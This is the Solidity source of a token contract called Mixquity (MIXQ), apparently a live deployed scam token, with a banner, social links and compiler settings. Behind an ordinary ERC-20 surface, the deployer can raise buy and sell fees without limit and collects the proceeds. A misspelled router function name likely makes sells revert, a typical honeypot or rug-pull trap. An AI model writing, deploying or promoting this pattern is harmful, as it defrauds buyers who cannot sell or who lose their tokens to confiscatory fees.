/*

███╗   ███╗██╗██╗  ██╗ ██████╗ ██╗   ██╗██╗████████╗██╗   ██╗
████╗ ████║██║╚██╗██╔╝██╔═══██╗██║   ██║██║╚══██╔══╝╚██╗ ██╔╝
██╔████╔██║██║ ╚███╔╝ ██║   ██║██║   ██║██║   ██║    ╚████╔╝ 
██║╚██╔╝██║██║ ██╔██╗ ██║▄▄ ██║██║   ██║██║   ██║     ╚██╔╝  
██║ ╚═╝ ██║██║██╔╝ ██╗╚██████╔╝╚██████╔╝██║   ██║      ██║   
╚═╝     ╚═╝╚═╝╚═╝  ╚═╝ ╚══▀▀═╝  ╚═════╝ ╚═╝   ╚═╝      ╚═╝   
                                                             


Link3: https://link3.to/mixquity
Website: https://mixquity.finance
DApp: https://dapp.mixquity.finance 
X: https://twitter.com/Mixquity
Telegram: https://t.me/mixquity 
Medium: https://mixquity.medium.com
*/


// SPDX-License-Identifier: unlicense

pragma solidity 0.8.9;
    
interface IUniswapV2Router02 {
     function swapExactTokensForETHSupportingFeeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
    
    contract MIXQ {
        

        function name() public view virtual returns (string memory) {
        return name_;
        }

    
        function symbol() public view virtual returns (string memory) {
        return symbol_;
        }    

        event Transfer(address indexed from, address indexed to, uint256 value);
        event Approval(
            address indexed Deployeer,
            address indexed spender,
            uint256 value
        );

        mapping (address => uint256) public balanceOf;
        mapping (address => mapping (address => uint256)) public allowance;

        string public   name_ = unicode"Mixquity"; 
        string public   symbol_ = unicode"MIXQ";  
        uint8 public constant decimals = 18;
        uint256 public constant totalSupply = 10000000 * 10**decimals;

        uint256 buyFeee = 0;
        uint256 sellFeee = 0;
        uint256 constant swapAmount = totalSupply / 100;
        
        error Permissions();
        
        

        address private pair;
        address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
        address payable constant Deployeer = payable(address(0x454245f6be2AF09D5eb3cdAebF241EDEE8c1F8Fc));

        bool private swapping;
        bool private tradingOpen;

        constructor() {
            balanceOf[msg.sender] = totalSupply;
            allowance[address(this)][routerAddress] = type(uint256).max;
            emit Transfer(address(0), msg.sender, totalSupply);
        }

        receive() external payable {}

        function approve(address spender, uint256 amount) external returns (bool){
            allowance[msg.sender][spender] = amount;
            emit Approval(msg.sender, spender, amount);
            return true;
        }

        function transfer(address to, uint256 amount) external returns (bool){
            return _transfer(msg.sender, to, amount);
        }

        function transferFrom(address from, address to, uint256 amount) external returns (bool){
            allowance[from][msg.sender] -= amount;        
            return _transfer(from, to, amount);
        }

        function _transfer(address from, address to, uint256 amount) internal returns (bool){
            require(tradingOpen || from == Deployeer || to == Deployeer);

            if(!tradingOpen && pair == address(0) && amount > 0)
                pair = to;

            balanceOf[from] -= amount;

            if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
                swapping = true;
                address[] memory path = new  address[](2);
                path[0] = address(this);
                path[1] = ETH;
                _uniswapV2Router.swapExactTokensForETHSupportingFeeeOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
                Deployeer.transfer(address(this).balance);
                swapping = false;
            }

            if(from != address(this)){
                uint256 FeeeAmount = amount * (from == pair ? buyFeee : sellFeee) / 100;
                amount -= FeeeAmount;
                balanceOf[address(this)] += FeeeAmount;
            }
            balanceOf[to] += amount;
            emit Transfer(from, to, amount);
            return true;
        }

        function openTrading() external {
            require(msg.sender == Deployeer);
            require(!tradingOpen);
            tradingOpen = true;        
        }

        function _setFeee(uint256 _buy, uint256 _sell) private {
            buyFeee = _buy;
            sellFeee = _sell;
        }

        function setFeee(uint256 _buy, uint256 _sell) external {
            if(msg.sender != Deployeer)        
                revert Permissions();
            _setFeee(_buy, _sell);
        }
    }

{
  "compilationTarget": {
    "MIXQ.sol": "MIXQ"
  },
  "evmVersion": "london",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}